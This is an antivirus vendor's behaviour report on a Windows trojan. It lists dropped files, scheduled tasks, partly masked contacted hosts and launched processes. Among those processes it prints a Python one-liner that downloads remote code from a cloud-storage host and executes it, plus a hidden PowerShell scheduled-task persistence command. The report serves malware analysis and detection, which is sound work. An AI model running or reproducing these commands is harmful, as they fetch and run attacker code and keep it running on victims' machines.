ПОЛЬЗОВАТЕЛЯМ

Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32 | Skype

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Trojan.Siggen12.41875

Добавлен в вирусную базу Dr.Web: 2021-03-17

Описание добавлено:

Техническая информация

Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
  • <SYSTEM32>\tasks\system_settings
  • <SYSTEM32>\tasks\system_test
  • <SYSTEM32>\tasks\system_cdaemon
Изменения в файловой системе
Создает следующие файлы
  • nul
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg20.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-default0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-press0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-process0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-null0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-default1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-press1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-process1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-minimize-null1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-default0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-press0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\fc_beta_header_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-process0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-default1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-press1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-process1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-null1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\loading0.gif
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\loading1.gif
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-e0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-c0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-t0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-e1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-c1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg10.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg11.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\fc_beta_header_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_btn_grey_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-default0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_disable_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_normal_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_hover_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_press_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_disable_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_normal_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_hover_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_press_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_disable_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_normal_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\slogan-t1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_hover_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-close-null0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_hover_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_hover_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_press_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_disable_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_normal_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_hover_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_press_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_disable_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\loading.gif
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\loading_200.gif
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_btn_grey_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_press_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_disable_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_btn_big_normal_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-press0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-c0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-c0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-c0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar-bg1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar-active1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-e1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-e1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-e1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-c1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-c1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-c1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg21.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-e0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_normal_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-e0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-t1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-t1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-t1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\install-complete-en-0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\install-complete-en-1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\install-complete-cn-0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\install-complete-cn-1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\customize-line-0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\customize-line-1.png
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\sc[1]
  • %TEMP%\adobe_cdmlogs\adobe_gde.log
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner2-t0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-t0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\cls_btn_press_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar-active0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-press0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-default1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-press1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-process1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-disabled1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-customize0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-fold0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-customize1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-fold1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\checked0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\unchecked0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\checked1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner1-e0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-process0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\btn-install-disabled0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-hover0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-default0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-press0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-hover0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-default1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-press1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-hover1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-default1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-press1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-continue-hover1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar-bg0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\button-exit-default0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\unchecked1.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_disable_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_press_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_hover_200.png
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\160[1]
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\warning_icon.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_caution_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_caution_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_caution_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_caution_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_x_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_x_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_x_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_x_150.png
  • C:\users\public\servicehub\_sqlite3.pyd
  • C:\users\public\servicehub\sqlite3.dll
  • %TEMP%\adobe_cdmlogs\adobe_cdm.log
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_check_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_base_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_base_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_blue_active_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_blue_active_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_blue_active_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_blue_active_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\transparent.gif
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\gray_button_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_check_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_check_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\status_icon_check_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\c383b65a-1e4d-4061-be1e-848b3a2508c0\f255a3c1-4bbb-45af-82db-3f96b2b57df2.aamdownload
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null_100.png
  • C:\users\public\servicehub\_overlapped.pyd
  • C:\users\public\flash.exe
  • C:\users\public\servicehub\libcrypto-1_1.dll
  • C:\users\public\servicehub\libssl-1_1.dll
  • C:\users\public\servicehub\license.txt
  • C:\users\public\servicehub\pyexpat.pyd
  • C:\users\public\servicehub\python3.dll
  • C:\users\public\servicehub\python37.dll
  • C:\users\public\servicehub\python37.zip
  • C:\users\public\servicehub\python37._pth
  • C:\users\public\servicehub\servicehub.host.clr.exe
  • C:\users\public\servicehub\select.pyd
  • C:\users\public\servicehub\_queue.pyd
  • C:\users\public\servicehub\_socket.pyd
  • C:\users\public\servicehub\servicehub.host.clr.pkg
  • C:\users\public\servicehub\vcruntime140.dll
  • C:\users\public\servicehub\winsound.pyd
  • C:\users\public\servicehub\_asyncio.pyd
  • C:\users\public\servicehub\_bz2.pyd
  • C:\users\public\servicehub\_ctypes.pyd
  • C:\users\public\servicehub\_decimal.pyd
  • C:\users\public\servicehub\_elementtree.pyd
  • C:\users\public\servicehub\_hashlib.pyd
  • C:\users\public\servicehub\_lzma.pyd
  • C:\users\public\servicehub\_msi.pyd
  • C:\users\public\servicehub\_multiprocessing.pyd
  • C:\users\public\servicehub.zip
  • C:\users\public\servicehub\unicodedata.pyd
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\banner3-t0.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\logo_top_left_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\logo_top_left_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\logo_top_left_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_big_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_button_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\bg.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_min_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_min_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_cls_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_cls_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\warning_icon_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_normal_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_hover_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_press_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_disable_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\min_btn_normal_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_big_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_big_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_big_150.png
  • C:\users\public\servicehub\_ssl.pyd
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_mini_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_mini_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_mini_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_mini_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_short_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_short_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_short_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\yellow_button_short_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\info_icon_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_button_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_button_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\close_button_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_darkgray_base.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_active.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\xbutton.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_poll_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_poll_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_poll_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_poll_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_125.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_150.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\blue_button_200.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\logo_top_left_100.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\progressbar_pole_null.png
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\e0d334c7-7dc2-4891-9d7a-e7be02837ba3\a1b0a820-07d2-400e-87cd-aac98f59f18b.aamdownload
Удаляет следующие файлы
  • <SYSTEM32>\tasks\system_test
Перемещает следующие файлы
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\c383b65a-1e4d-4061-be1e-848b3a2508c0\f255a3c1-4bbb-45af-82db-3f96b2b57df2.aamdownload в %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\c383b65a-1e4d-4061-be1e-848b3a2508c0\f255a3c1-4bbb-45af-82db-3f96b2b57df2
  • %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\e0d334c7-7dc2-4891-9d7a-e7be02837ba3\a1b0a820-07d2-400e-87cd-aac98f59f18b.aamdownload в %LOCALAPPDATA%\adobe\ab58d61e-f880-444b-ac8e-eda36ea7c51f\e0d334c7-7dc2-4891-9d7a-e7be02837ba3\a1b0a820-07d2-400e-87cd-aac98f59f18b
Изменяет следующие файлы
Сетевая активность
Подключается к
  • 'fl############erver.oss-cn-hongkong.aliyuncs.com':80
  • 'fl############erver.oss-cn-hongkong.aliyuncs.com':443
  • 'fl##h.cn':443
  • 'fusionpings.adobe.com':443
  • 'stats.adobe.com':80
TCP
Запросы HTTP GET
  • http://stats.adobe.com/b/ss/adbacdcprod/1/H.25.4/s31563663162945?AQ##############################################################################################################################...
  • 'fl############erver.oss-cn-hongkong.aliyuncs.com':443
  • 'fl##h.cn':443
  • 'ap#.#lash.cn':443
  • 'fusionpings.adobe.com':443
  • UDP
    • DNS ASK ba##u.com
    • DNS ASK fl############erver.oss-cn-hongkong.aliyuncs.com
    • DNS ASK fl##h.cn
    • DNS ASK ap#.#lash.cn
    • DNS ASK fusionpings.adobe.com
    • DNS ASK stats.adobe.com
    Другое
    Ищет следующие окна
    • ClassName: 'MS_AutodialMonitor' WindowName: ''
    • ClassName: 'MS_WebCheckMonitor' WindowName: ''
    Создает и запускает на исполнение
    • 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a
    • 'C:\users\public\flash.exe'
    • 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a
    • '%WINDIR%\syswow64\ping.exe' baidu.com' (со скрытым окном)
    • '%WINDIR%\syswow64\cmd.exe' /c "C:\Users\Public\vc.exe /install /quiet /norestart"' (со скрытым окном)
    • '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...' (со скрытым окном)
    • 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a' (со скрытым окном)
    • 'C:\users\public\flash.exe' ' (со скрытым окном)
    • 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a' (со скрытым окном)
    Запускает на исполнение
    • '%WINDIR%\syswow64\ping.exe' baidu.com
    • '%WINDIR%\syswow64\cmd.exe' /c "C:\Users\Public\vc.exe /install /quiet /norestart"
    • '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...
